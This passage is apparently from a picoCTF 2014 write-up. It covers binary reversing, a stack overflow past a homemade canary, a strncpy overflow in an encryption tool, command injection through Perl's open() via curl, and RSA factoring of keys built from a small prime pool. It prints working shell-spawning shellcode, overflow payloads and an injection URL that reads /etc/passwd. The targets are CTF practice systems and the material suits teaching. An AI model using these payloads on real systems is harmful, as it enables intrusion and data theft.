   // 0x08048970:q
   0x8048970: cmp    edx,0x1d
   0x8048973: jne    0x80485de
   0x8048979: cmp    BYTE PTR [esp+0x3d],0x0
   0x804897e: je     0x80485de
   0x8048984: mov    edx,0x1e
   0x8048989: jmp    0x80485ab
   0x804898e: xchg   ax,ax
   // 0x08048990:r
   0x8048990: cmp    edx,0x14
   0x8048993: jne    0x80485de
   0x8048999: cmp    BYTE PTR [esp+0x3e],0x0
   0x804899e: jne    0x8048668
   0x80489a4: jmp    0x80485de
   0x80489a9: lea    esi,[esi+eiz*1+0x0]
   // 0x080489b0:s
   0x80489b0: cmp    edx,0x19
   0x80489b3: jne    0x80485de
   0x80489b9: cmp    BYTE PTR [esp+0x3f],0x0
   0x80489be: xchg   ax,ax
   0x80489c0: je     0x80485de
   0x80489c6: mov    edx,0x1a
   0x80489cb: jmp    0x80485ab
   // 0x080489d0:t
   0x80489d0: cmp    edx,0x18
   0x80489d3: sete   dl
   0x80489d6: xor    eax,eax
   0x80489d8: cmp    BYTE PTR [esp+0x3e],0x0
   0x80489dd: setne  al
   0x80489e0: and    eax,edx
   0x80489e2: jmp    0x80485e0
   0x80489e7: nop
   // 0x080489e8:u
   0x80489e8: cmp    edx,0x1a
   0x80489eb: jne    0x80485de
   0x80489f1: cmp    BYTE PTR [esp+0x41],0x0
   0x80489f6: je     0x80485de
   0x80489fc: mov    edx,0x1b
   0x8048a01: jmp    0x80485ab
   0x8048a06: xchg   ax,ax
   // 0x08048a08:v
   0x8048a08: cmp    edx,0x2
   0x8048a0b: jne    0x80485de
   0x8048a11: cmp    BYTE PTR [esp+0x42],0x0
   0x8048a16: je     0x80485de
   0x8048a1c: mov    edx,0x3
   0x8048a21: jmp    0x80485ab
   0x8048a26: xchg   ax,ax
   // 0x08048a28:w
   0x8048a28: cmp    edx,0x6
   0x8048a2b: jne    0x80485de
   0x8048a31: cmp    BYTE PTR [esp+0x43],0x0
   0x8048a36: je     0x80485de
   0x8048a3c: mov    edx,0x7
   0x8048a41: jmp    0x80485ab
   0x8048a46: xchg   ax,ax
   // 0x08048a48:x
   0x8048a48: cmp    edx,0x16
   0x8048a4b: jne    0x80485de
   0x8048a51: cmp    BYTE PTR [esp+0x44],0x0
   0x8048a56: je     0x80485de
   0x8048a5c: mov    edx,0x17
   0x8048a61: jmp    0x80485ab
   0x8048a66: xchg   ax,ax
   // 0x08048a68:y
   0x8048a68: cmp    edx,0x17
   0x8048a6b: jne    0x80485de
   0x8048a71: cmp    BYTE PTR [esp+0x45],0x0
   0x8048a76: je     0x80485de
   0x8048a7c: mov    edx,0x18
   0x8048a81: jmp    0x80485ab
   0x8048a86: xchg   ax,ax
   // 0x08048a88:z
   0x8048a88: cmp    edx,0x15
   0x8048a8b: sete   dl
   0x8048a8e: xor    eax,eax
   0x8048a90: cmp    BYTE PTR [esp+0x2d],0x0
   0x8048a95: setne  al
   0x8048a98: and    eax,edx
   0x8048a9a: jmp    0x80485e0
   0x8048a9f: cmp    edx,0x4
   0x8048aa2: je     0x8048834
   0x8048aa8: jmp    0x80485de
   0x8048aad: lea    esi,[esi+0x0]
   0x8048ab0: call   0x80483e0 <__stack_chk_fail@plt>

From here, it was a matter of following the mov edx, <n> and cmp edx, <n> instructions. For instance, the first correct char of the password is ‘0’. edx is then set to 1. Next, I located the block:

1
2
3
4
5
6
7
   // 0x08048758:9
   0x8048758: cmp    edx,0x1
   0x804875b: jne    0x80485de
   0x8048761: cmp    BYTE PTR [esp+0x85],0x0
   0x8048769: je     0x80485de
   0x804876f: mov    edx,0x2
   0x8048774: jmp    0x80485ab

So the next valid char must be 9. I continued this process until I got up to 0x10. There was no cmp edx, 0x10. I verified the chars I had so far. It seems there is some trolling going on. There are two blocks that check for cmp edx, 0x6:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
   // 0x08048a28:w
   0x8048a28: cmp    edx,0x6
   0x8048a2b: jne    0x80485de
   0x8048a31: cmp    BYTE PTR [esp+0x43],0x0
   0x8048a36: je     0x80485de
   0x8048a3c: mov    edx,0x7
   0x8048a41: jmp    0x80485ab
   0x8048a46: xchg   ax,ax

   ...and...

   // 0x08048928:o
   0x8048928: cmp    BYTE PTR [esp+0x3a],0x0
   0x804892d: je     0x80485de
   0x8048933: cmp    edx,0x6
   0x8048936: je     0x8048834
   0x804893c: cmp    edx,0x1c
   0x804893f: je     0x8048834
   0x8048945: jmp    0x80485de
   0x804894a: lea    esi,[esi+0x0]

At first, I had selected ‘o’, but it turns out it should have been ‘w’. The string comparison stops at ‘k’:

1
2
3
4
5
6
7
8
9
10
   // 0x080488b8:k
   0x80488b8: cmp    edx,0xc
   0x80488bb: sete   dl
   0x80488be: xor    eax,eax
   0x80488c0: cmp    BYTE PTR [esp+0x37],0x0
   0x80488c5: setne  al
   0x80488c8: and    eax,edx
   0x80488ca: jmp    0x80485e0    <- terminate, compares eax to 1.
                                       If it is, the string is correct!
   0x80488cf: nop

Through a bit of trial-and-error I arrived at the password:

1
2
3
bas@tritonal:~/tmp/picoctf/obfus$ ./obfuscate
Password: 09vdf7wefijbkh
Correct!

So the flag is 09vdf7wefijbkh.

Nevernote (180 points)

In light of the recent attacks on their machines, Daedalus Corp has implemented a buffer overflow detection library. Nevernote, a program made for Daedalus Corps employees to take notes, uses this library. Can you bypass their protection and read the secret? The binary can be found at /home/nevernote/ on the shell server.

This program attempts to implement a stack canary in a rather dumb way:

1
2
3
4
5
6
7
8
9
10
struct canary{
    int canary;
    int *verify;
};

/* buffer overflow resistant buffer */
struct safe_buffer{
    char buf[SAFE_BUFFER_SIZE];
    struct canary can;
};

So we can overflow this safe_buffer, but then we also overwrite the canary. Then the canary check will not pass anymore:

1
2
3
4
5
6
7
8
9
10
void verify_canary(struct canary *c){
    if (c->canary != *(c->verify)){
        printf("Canary was incorrect!\n");
        __canary_failure(1);
    }

    // we're all good; free the canary and return
    free(c->verify);
    return;
}

But since we can overflow the buffer, we control both the canary and the pointer to the canary. This means we can make this check always succeed. Again, no ASLR on the target server allows us to use a static address. Let’s supply the address of safe_buffer (the address of which can be obtained from debugging the binary with gdb). This is automated like so (it echoes a username and the command for adding a note):

1
2
3
4
5
6
7
8
9
pico1139@shell:/home/nevernote$ (echo "bleh"; echo "a"; python -c 'print "A"*512+"AAAA"+"\x50\xc0\x04\x08"') > /tmp/in
...snip...
(gdb) r < /tmp/in
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/nevernote/nevernote < /tmp/in
Please enter your name: Enter a command: Write your note: Note added.
*** Error in `/home/nevernote/nevernote': double free or corruption (!prev): 0x0804c050 ***

Now, the binary aborts because the pointer to the canary has already been freed. Not a problem, we won’t let it come that far. Let’s try to overflow the saved return address:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pico1139@shell:/home/nevernote$ (echo "bleh"; echo "a"; python -c 'print "A"*512+"AAAA"+"\x50\xc0\x04\x08CCCCCCCCCCCCCCCCDDDDEEEEFFFF"') > /tmp/in
...
(gdb) r < /tmp/in
Starting program: /home/nevernote/nevernote < /tmp/in
Please enter your name: Enter a command: Write your note:
Program received signal SIGSEGV, Segmentation fault.
0xf7ea11f3 in ?? () from /lib/i386-linux-gnu/libc.so.6
(gdb) i r
eax            0x45454545  1162167621
ecx            0xffffd414  -11244
edx            0x45454545  1162167621
ebx            0x3f4   1012
esp            0xffffd3f0  0xffffd3f0
ebp            0xffffd628  0xffffd628
esi            0xffffd420  -11232
edi            0x45454545  1162167621
eip            0xf7ea11f3  0xf7ea11f3
eflags         0x10282 [ SF IF RF ]
cs             0x23    35
ss             0x2b    43
ds             0x2b    43
es             0x2b    43
fs             0x0 0
gs             0x63    99
(gdb) x/i $eip
=> 0xf7ea11f3:   movlpd %xmm1,(%edx)

Right, a segfault because edx points to a place that doesn’t exist. Let’s fix that by supplying the address of safe_buffer:

1
2
3
4
5
6
7
pico1139@shell:/home/nevernote$ (echo "bleh"; echo "a"; python -c 'print "A"*512+"AAAA"+"\x50\xc0\x04\x08CCCCCCCCCCCCCCCCDDDD\x50\xc0\x04\x08FFFF"') > /tmp/in
...
(gdb) r < /tmp/in
Starting program: /home/nevernote/nevernote < /tmp/in
Please enter your name: Enter a command: Write your note:
Program received signal SIGSEGV, Segmentation fault.
0x44444444 in ?? ()

w00t! We have control over EIP! Since ASLR is off and so is NX, we can just jump a piece of shellcode. Let’s stick in the shellcode (23 bytes execve /bin/sh) and alter the canary to 4*0x90 (which is the start of the NOP sled). Let’s overwrite EIP with 0x804c070 to jump in the middle of our NOP sled. We cat the payload & use another cat to keep shell alive:

1
2
3
4
5
6
7
8
9
10
pico1139@shell:/home/nevernote$ (echo "bleh"; echo "a"; python -c 'print "\x90"*(512-23)+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x90\x90\x90\x90"+"\x50\xc0\x04\x08CCCCCCCCCCCCCCCC\x70\xc0\x04\x08\x50\xc0\x04\x08FFFF"') > /tmp/in

pico1139@shell:/home/nevernote$ (cat /tmp/in; cat) | ./nevernote
Please enter your name: Enter a command: Write your note:
id
uid=11066(pico1139) gid=1017(picogroup) egid=1011(nevernote) groups=1017(picogroup)
whoami
pico1139
cat flag*
the_hairy_canary_fairy_is_still_very_wary

The flag is the_hairy_canary_fairy_is_still_very_wary.

Crudecrypt (180 points)

We are given access to a program that can encrypt and decrypt a file. The program does not try to sanitize user input when decrypting:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void decrypt_file(FILE* enc_file, FILE* raw_file, unsigned char* key) {
    int size = file_size(enc_file);
    char* enc_buf = calloc(1, size);
    fread(enc_buf, 1, size, enc_file);

    if(decrypt_buffer(enc_buf, size, (char*)key, 16) != 0) {
        printf("There was an error decrypting the file!\n");
        return;
    }

    char* raw_buf = enc_buf;
    file_header* header = (file_header*) raw_buf;

    if(header->magic_number != MAGIC) {
        printf("Invalid password!\n");
        return;
    }

    if(!check_hostname(header)) {
        printf("[#] Warning: File not encrypted by current machine.\n");
    }

    // snip

bool check_hostname(file_header* header) {
    char saved_host[HOST_LEN], current_host[HOST_LEN];

    // unsafe strncpy if we supply a large string for header->host
    strncpy(saved_host, header->host, strlen(header->host));
    safe_gethostname(current_host, HOST_LEN);
    return strcmp(saved_host, current_host) == 0;
}

If the attacker can supply an encrypted file header with a large host field, then we can overflow the saved_host array on the stack & overwrite EIP. We modified the source of crudecrypt.c to generate such a file:

1
2
3
4
5
6
7
8
9
void encrypt_file(FILE* raw_file, FILE* enc_file, unsigned char* key) {
    int size = file_size(raw_file);
    size_t block_size = MULT_BLOCK_SIZE(sizeof(file_header) + size);
    char* padded_block = calloc(1, block_size);

    file_header header;
    init_file_header(&header, size);
    //safe_gethostname(header.host, HOST_LEN);
    strcpy(header.host, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");

We encrypted the payload using this modified crudecrypt.c. Then we decrypted it, observing the crash!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#0  0x45454545 in ?? ()
(gdb) i r
eax            0xffffff00  -256
ecx            0x73    115
edx            0xffffd660  -10656   > perfect pointer to start of buffer
ebx            0xf7dea000  -136404992
esp            0xffffd690  0xffffd690
ebp            0x44444444  0x44444444
esi            0x0 0
edi            0x0 0
eip            0x45454545  0x45454545
eflags         0x10286 [ PF SF IF RF ]
cs             0x23    35
ss             0x2b    43
ds             0x2b    43
es             0x2b    43
fs             0x0 0
gs             0x63    99

Looks like ALSR is off! There was no jmp edx in the binary that I could find, so instead, let’s just jump to the buffer:

1
2
3
4
5
6
7
8
9
10
void encrypt_file(FILE* raw_file, FILE* enc_file, unsigned char* key) {
    int size = file_size(raw_file);
    size_t block_size = MULT_BLOCK_SIZE(sizeof(file_header) + size);
    char* padded_block = calloc(1, block_size);

    file_header header;
    init_file_header(&header, size);
    //safe_gethostname(header.host, HOST_LEN);
    char payload[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80""BBCCCCDDDD\x30\xd6\xff\xff""FFFFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
    strcpy(header.host, payload);

compile & run:

1
2
3
4
5
6
7
8
9
10
11
12
bas@tritonal:~/tmp/picoctf/crudecrypt$ gcc -o exploit exploit.c -lcrypto -lmcrypt -lssl -m32
bas@tritonal:~/tmp/picoctf/crudecrypt$ ./exploit encrypt ./a ./b
-=- Welcome to CrudeCrypt 0.1 Beta -=-
-> File password:

=> Encrypted file successfully
*** Error in `./exploit': free(): invalid pointer: 0x0920f300 ***
Aborted (core dumped)
bas@tritonal:~/tmp/picoctf/crudecrypt$ cat b |base64
qmikXTf65Xauen/t3a0FDf1uZMI3baSe5I9hTVEJ5t04R0Vb8RgBltvIwvCvmbaOtou7THTwR5Vy
B9dA2GyFxMLF/wyNDY9V/y2bveRKWLam5xehXkNXQFSMhUJcd3RNwfgFxVlYswx4VfW1CiqmV45S
ZzbvWLRmeRdk1vyxXQSq0nyDhcPi8GhwnKp6R1ri

We transferred the base64 encoded payload to remote machine. We had to adjust the pointer to the shellcode because the address changes on stack due to environment changing. We found this new pointer by simply running gdb.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pico1139@shell:~$ .///////////////crude_crypt decrypt ./sp ./bleh
-=- Welcome to CrudeCrypt 0.1 Beta -=-
-> File password:

Segmentation fault (core dumped)
...
#0  0xffffd674 in ?? ()
(gdb) i r
eax            0xffffff00  -256
ecx            0xb4    180
edx            0xffffd5f2  -10766
...
(gdb) x/s 0xffffd5f2
0xffffd5f2:    "Ph//shh/bin\211\343\215T$\b...BBCCCCDDDD"
(gdb) x/2i 0xffffd5f0
   0xffffd5f0: xor    %eax,%eax
   0xffffd5f2: push   %eax

After adjusting the address to 0xffffd5f0 in the exploit, we end up with a shell! A NOP sled would’ve been easy, in this case.

1
2
3
4
5
6
7
8
9
10
11
pico1139@shell:~$ cat b |base64 -d > ./sp
pico1139@shell:~$ /home/crudecrypt/crude_crypt decrypt ./sp ./bleh
-=- Welcome to CrudeCrypt 0.1 Beta -=-
-> File password:

$ id
uid=11066(pico1139) gid=1017(picogroup) egid=1012(crudecrypt) groups=1017(picogroup)
$ whoami
pico1139
$ cat /home/crudecrypt/flag.txt
writing_software_is_hard

The flag is writing_software_is_hard.

Make a Face (100 points)

We need to exploit a perl script running on a Webpage. This script takes user input and generates an “avatar”. We immediately figured Shellshock but this turned out to be wrong. The script is included in the webpage source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/perl

use CGI;

$q = new CGI;
if (defined($q->param('Head'))) {
  print $q->header(-type=>'image/bmp');
  open(HEAD,"head".$q->param('Head'));
  open(HAIR,"hair".$q->param('Hair'));
  open(NOSE,"nose".$q->param('Nose'));
  open(MOUTH,"mouth".$q->param('Mouth'));
  open(EYES,"eyes".$q->param('Eyes'));

  while (read(HEAD,$headb,1)) {
    read(HAIR,$hairb,1);
    read(NOSE,$noseb,1);
    read(MOUTH,$mouthb,1);
    read(EYES,$eyesb,1);
    print (chr (ord($headb)&ord($hairb)&ord($noseb)&ord($mouthb)&ord($eyesb)));
  }
}
else {
  print $q->header;
  ...generate page...

We can’t really inject anything into the parameter fields, as the value is concatenated with “head”, “hair”, etc. No calls to system or eval are made, no backticks were used. However, perl being perl, has another trick up it’s sleeve:

If the filename begins with "|", the filename is interpreted as a command to which output is to be piped, and if the filename ends with a "|", the filename is interpreted as a command which pipes output to us.

That’s handy! Let’s try it:

1
2
3
4
5
6
7
8
bas@tritonal:~$ curl "http://makeaface.picoctf.com/index.cgi?Head=%20/etc/passwd|&Hair=1.bmp&Nose=2.bmp&Mouth=2.bmp&Eyes=3.bmp"
BM....binnologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

It returns a few lines of /etc/passwd, albeit mangled a bit. This works, because the “head” parameter is used in the open statement like this:

1
open(HEAD,"head /etc/passwd|");

This makes perl believe that it is a command from which we want to see output! From here, we enumerated the webdirectory and Swappage came up with the brilliant solution:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
bas@tritonal:~$ curl "http://makeaface.picoctf.com/index.cgi?Head=%20|cat%20/etc/passwd%26%26ls%20-la|&Hair=1.bmp&Nose=2.bmp&Mouth=2.bmp&Eyes=3.bmp"
BM...hex bytes...binnologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
landscape:x:103:109::/var/lib/landscape:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
total 228
drwxr-xr-x 2 root root 4096 Oct 27 03:57 .
drwxr-xr-x 3 root root 4096 Oct 27 03:47 ..
-rw-r--r-- 1 root root   34 Oct 27 03:48 SECRET_KEY_2b609783951a8665d8c67d721b52b0f8
-rw-r--r-- 1 root root  452 Oct 27 03:48 css.css
-rw-r--r-- 1 root root 8338 Oct 27 03:48 eyes1.bmp
-rw-r--r-- 1 root root 8338 Oct 27 03:48 eyes2.bmp
-rw-r--r-- 1 root root 8338 Oct 27 03:48 eyes3.bmp
-rw-r--r-- 1 root root 8338 Oct 27 03:48 eyes4.bmp
-rw-r--r-- 1 root root 8338 Oct 27 03:48 hair0.bmp

Because that file, SECRET_KEY_2b609783951a8665d8c67d721b52b0f8 is world-readable and in the webdirectory, we could just browse to it and grab the flag: why_did_we_stop_using_perl_again?

Low Entropy (110 points)

We are given a server to connect to and a pcap file. We need to decrypt the message found in the pcap file. This message was encoded with a private RSA key.

1
2
3
Welcome to the Thyrin drop box. Please send your public key and message.
Public key: c20a1d8b3903e1864d14a4d1f32ce57e4665fc5683960d2f7c0f30d5d247f5fa264fa66b49e801943ab68be3d9a4b393ae22963888bf145f07101616e62e0db2b04644524516c966d8923acf12af049a1d9d6fe3e786763613ee9b8f541291dcf8f0ac9dccc5d47565ef332d466bc80dc5763f1b1139f14d3c0bae072725815f
Message: 49f573321bdb3ad0a78f0e0c7cd4f4aa2a6d5911c90540ddbbaf067c6aabaccde78c8ff70c5a4abe7d4efa19074a5249b2e6525a0168c0c49535bc993efb7e2c221f4f349a014477d4134f03413fd7241303e634499313034dbb4ac96606faed5de01e784f2706e85bf3e814f5f88027b8aeccf18c928821c9d2d830b5050a1e

The server spits out the product of two primes, which gives us a lot of possible public keys. We need to find the factors p and q, the factors of the captured public key. If we have those factors, it’s game over. Luckily, the server has only 30 primes to choose from. That means that there are 30 * 29 / 2 = 435 possible keys. Let’s first grab all these products of p and q and store them:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python
from socket import *

while (len(products)<30*29):
  s=socket(AF_INET, SOCK_STREAM)
  s.connect(('vuln2014.picoctf.com',51818))

  # banner
  s.recv(1024)

  pq = s.recv(256)
  pq = long("0"+pq, 16)
  
  if pq and not pq in products:
      with open('public_keys', 'a') as f:
          f.write(str(pq)+"\n")
      f.close()
              
      products.add(pq)
  
  print "Now at {} products...".format(len(products))
  s.close()

This should grab the 435 unique public keys. Next, we need to find the primes that constitute the captured public key. Basically, we have a list of a1*a2, a1*a3, a2*a3... for 30 unique primes. Let’s assume the captured public key is derived from the values a1 and a2. Given a large list of other values ax*ay and some math, we can say that there are values that satisfy:

(a1*a2 / (a1*a3) * a2*a3 == a2*a2

Therefore, we can extract the squared values of each prime! I skipped using math.sqrt() and python float values, as these do not have the required precision given these extremely large numbers. Let’s generate all these squared values from each key we got from the server. Then, divide the square of the public key by each entry. If the result is also in the list of squared primes, then we have a match!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/python

with open('public_keys') as f:
  data = f.readlines()
  f.close()
  
alice_key = 0xc20a1d8b3903e1864d14a4d1f32ce57e4665fc5683960d2f7c0f30d5d247f5fa264fa66b49e801943ab68be3d9a4b393ae22963888bf145f07101616e62e0db2b04644524516c966d8923acf12af049a1d9d6fe3e786763613ee9b8f541291dcf8f0ac9dccc5d47565ef332d466bc80dc5763f1b1139f14d3c0bae072725815f

public_keys = set([])
for line in data:
  if len(line.strip()):
      public_keys.add(int(line.strip()))
  
squares = set([])    # sets are fast :)
for key_a in public_keys:
  for key_b in public_keys - set([key_a]):
      squares.add((alice_key * key_a) / key_b)
      
for k in squares:
  l = alice_key**2 / k
  if l in squares:
      if alice_key**2 == l*k: # double-check to prevent rounding errors
          print "[!] Found k={}\nl={}\n".format(k, l)

It should return two values for k and l (because k could be l and vice-versa):

1
2
[!] Found k=145636797632612493383437910621935492258871220486831431433846443881029756884131014317442568196356163696603884037401628766885574744524908524694664229202327755975190209777333222305357215356711196812874146485202755534755335009504417851499146840024376285929565498060947342673068738915934424594894642178132393803401
l=127485391417645634265899520100348459764415230949848696681516013917289651283750339673156991958225605417057264644648275442237083380079695308054967054357615028357457990698626856902554884944611614631356998904650004684028810140797701724207511157802310732003918967758266191880635014381653257954124503965122532941561

Now, all we have to do is take the square root of these values to get p and q! Luckily, Newton’s algorithm works perfectly for integers. The server gave us the public exponent (216+1) so we are all set for decrypting the message:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/python

def isqrt(n):
    x = n
    y = (x + 1) // 2
    while y < x:
        x = y
        y = (x + n // x) // 2
    return x

def egcd(a, b):
  if a == 0:
      return (b, 0, 1)
  else:
      g, y, x = egcd(b % a, a)
      return (g, x - (b // a) * y, y)

def modinv(a, m):
  g, x, y = egcd(a, m)
  if g != 1:
      raise Exception('modular inverse does not exist')
  else:
      return x % m
      
e = 2**16+1
k = 127485391417645634265899520100348459764415230949848696681516013917289651283750339673156991958225605417057264644648275442237083380079695308054967054357615028357457990698626856902554884944611614631356998904650004684028810140797701724207511157802310732003918967758266191880635014381653257954124503965122532941561
l = 145636797632612493383437910621935492258871220486831431433846443881029756884131014317442568196356163696603884037401628766885574744524908524694664229202327755975190209777333222305357215356711196812874146485202755534755335009504417851499146840024376285929565498060947342673068738915934424594894642178132393803401

p = isqrt(k)
q = isqrt(l)
c = 0x49f573321bdb3ad0a78f0e0c7cd4f4aa2a6d5911c90540ddbbaf067c6aabaccde78c8ff70c5a4abe7d4efa19074a5249b2e6525a0168c0c49535bc993efb7e2c221f4f349a014477d4134f03413fd7241303e634499313034dbb4ac96606faed5de01e784f2706e85bf3e814f5f88027b8aeccf18c928821c9d2d830b5050a1e

n = p*q
tot = (p - 1) * (q - 1)
d = modinv(e, tot)

m = pow(c, d, n)
print hex(m)

This gives us the decoded hexadecimal representation of the message. Running it through xxd:

1
2
3
4
5
bas@tritonal:~/tmp/picoctf/low_entropy$ python solve.py
0x476f6f64207468696e67206e6f206f6e652063616e207265616420746869732120492764206861746520666f72207468656d20746f206b6e6f7720746861742074686520666c6167206973206d616b655f737572655f796f75725f726e675f67656e6572617465735f6c6f7473615f7072696d65732eL
bas@tritonal:~/tmp/picoctf/low_entropy$ xxd -r -p
476f6f64207468696e67206e6f206f6e652063616e207265616420746869732120492764206861746520666f72207468656d20746f206b6e6f7720746861742074686520666c6167206973206d616b655f737572655f796f75725f726e675f67656e6572617465735f6c6f7473615f7072696d65732e
Good thing no one can read this! I'd hate for them to know that the flag is make_sure_your_rng_generates_lotsa_primes.

The flag is make_sure_your_rng_generates_lotsa_primes.

Bit Puzzle (130 points)

The last bastion of PicoCTF! bitpuzzle is a 32-bit ELF file. It asks for a string and first checks if the string is 32 bytes long. Then, it chops it up into four-byte chunks and does certain checks on each chunk, effectively constraining the values that are valid. In the end, if the string passes all checks, then that string is the flag. Looking at other flags, this probably limited our characterset to lowercase plus underscore. The first chuck-checking constraint was this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
EAX: 0x37363534 ('4567')
EBX: 0xffffd21c ("0123456789abcdefABCDEFGHIJKLMNOP")
ECX: 0xffffffde
EDX: 0x33323130 ('0123')
ESI: 0x0
EDI: 0x62613938 ('89ab')
EBP: 0xffffd338 --> 0xffffd3b8 --> 0x0
ESP: 0xffffd200 --> 0xffffd21c ("0123456789abcdefABCDEFGHIJKLMNOP")
EIP: 0x804858e (lea    ebx,[edi+eax*1])
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048582: mov    edx,DWORD PTR [esp+0x1c]
   0x8048586: mov    eax,DWORD PTR [esp+0x20]
   0x804858a: mov    edi,DWORD PTR [esp+0x24]
=> 0x804858e:   lea    ebx,[edi+eax*1]
   0x8048591: mov    ecx,0x0
   0x8048596: cmp    ebx,0xc0dcdfce
   0x804859c: jne    0x80485ad

So for this first constraint, we see that var2 + var3 == 0xc0dcdfce. I stepped through the code and set ebx to the right value, allowing me to see the other checks. I wrote them down:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
((b+c) & 0xffffffff) == 0xc0dcdfce
((a+b) & 0xffffffff) == 0xd5d3dddc
((a*3+b*5) & 0xffffffff) == 0x404a7666
((a ^ d) & 0xffffffff) == 0x18030607
((a & d) & 0xffffffff) == 0x666c6970
((b * e) & 0xffffffff) == 0xb180902b
((c * e) & 0xffffffff) == 0x3e436b5f
((e * f*2) & 0xffffffff) == 0x5c483831
((f & 0x70000000) & 0xffffffff) == 0x70000000
((f / g) & 0xffffffff) == 1
((f % g) & 0xffffffff) == 0xe000cec
((e*3+i*2) & 0xffffffff) == 0x3726eb17
((c*4+i*7) & 0xffffffff) == 0x8b0b922d
((d+i*3) & 0xffffffff) == 0xb9cf9c91

What else can we infer? Well, since a+b == 0xd5..., 0xd5 - first char of a must be within the ASCII range too. This allowed me to narrow down the values that were possible for the first three chunks of the flag. After messing with python-constraint, I started writing my own script. This first script uses python sets, and used just shy of 6 GB of memory; way too much for my poor laptop. I re-wrote the code to use just integer arithmetic. Below is the final script. It’s super ugly, but it’s late and I’m tired!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/python
import itertools, string

def h(i):
  s = hex(i)[2:]
  z = ""
  z += chr(int(s[6:8], 16))
  z += chr(int(s[4:6], 16))
  z += chr(int(s[2:4], 16))
  z += chr(int(s[0:2], 16))
  return z
  
def strToInt(s):
  i = 0
  for x in s:
      i <<= 8
      i += ord(x)
  return i

print "[+] Generating potential strings..."
sz = [x for x in map(''.join, itertools.product("_"+string.lowercase, repeat=4))]

print "[+] Converting potential strings to ints..."
allowed = []
for s in sz:
  allowed.append(strToInt(s))



print "[+] Brutef... Erm, Constraining..."

for s1 in allowed:
  s2 = 0xd5d3dddc - s1
  # OK, so s2+s1 = 0xd0... so we know that that x1 = 0xd0-x2
  # For s1 starting with 61..7a (a-z), 0xd0 - x1 is 0x5b..0x74. 
  # For s1 starting with 41..5a and 30..39, 0xd0 - x1 becomes too large!
  # Therefor, s2 must start with 0x5B .. 0x74 inclusive. 
  if (s2 >= 0x5B000000) and (s2 < 0x75000000):
      s3 = 0xc0dcdfce - s2
      # The same applies for s3
      if (s3 >= 0x4c000000) and (s3 < 0x66000000):
          # This is another constraint
          if ( ((s1 * 3)&0xffffffff) + ((s2*5)&0xffffffff) & 0xffffffff) == 0x404a7666:
              s4 = 0x18030607 ^ s1
              if s4 in allowed:
                  print "s1: {}".format(hex(s1))
                  print "s2: {}".format(hex(s2))
                  print "s3: {}".format(hex(s3))
                  print "s4: {}".format(hex(s4))
                  for s5 in allowed:
